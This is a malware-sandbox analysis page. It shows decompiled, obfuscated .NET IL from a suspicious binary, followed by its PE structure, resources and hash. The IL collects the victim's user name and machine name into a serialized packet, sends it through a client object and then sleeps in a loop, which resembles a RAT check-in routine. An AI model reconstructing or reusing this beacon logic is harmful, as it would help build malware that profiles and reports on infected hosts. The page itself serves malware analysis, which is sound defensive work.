call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JBoqpwNwZVSZQnshspYeUqaxk()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::ffMklAnnWaCQbf()
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldloc V_6
ldloc V_7
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::foOtjFisqcwdHQFa(System.String,System.String)
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::WWdUtiBFmAXtcgcC()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::fmSTzPUyVzgdS()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UFkuRdwDhJZxLkT()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::rGSZrTFcjXKArJzMsB()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::XeAVfTQYcb()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VUdhJQyUWilkFFGLSH
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::bCvPlsZSQyBeJg
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::evLSCWHIVXiVcUZ()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mKGkjGCCuJzXKzIHeLnf()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::raYajPZFUqTRKzCaVFNIDwXA()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::oPDkKjEACifSdMClRhY()
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::KtxPECfuys()
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::IXtXjxWPbqQhtAyuDAZWxBs()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::iQZPIvYtqCvzNSOIN
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UEhmFVNdOmXQWfAMNp()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::zKlABMQJbrfhLvt
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::LSyZcNIiRIBvGeTDe()
call System.String System.Environment::get_UserName()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JQkAoLRqhEcJjqhmfyMDNqWdt()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::jJFdmSGdhXXzMJ()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::XNHNBABIMEbYLQixOhoQ
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cgIVfFZxmwUM()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IRbKlWgNiGssdSgTWMqJAEG
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::RlCcWwdgThffSzfkLSwsmdy()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IhJVtvnsYrOwfDQdUveyifhx
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::hyKKMThRGOMvV()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::vMpEaIOczLUPCTu
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::dPfcJydqNFtMbdYUFnnrvXmT()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dsUyGrDKfC
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AANZEnkPQphMKUzh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::qveDCLBRHcite
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::lERzrDtlJYIdzFdMIIyPRJS()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::pZYmRmdCQZDCqEk
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKorHuSoKElh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::GCmtznRjwfdjcgREREacuIAMh
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UIwTnuObmR()
call System.String yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::IXalDDKpPfHIgstEVDlypQ()
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKnABvdODhKtFnHs()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
0322baf8c0e2e6567934f5d94bde7e84
[Authenticode]_bbdf221a.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
3eyjukhg9rxhup1wjpmudc9
uqvw47e0oaf57pcxnmrruygknyxr29b
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙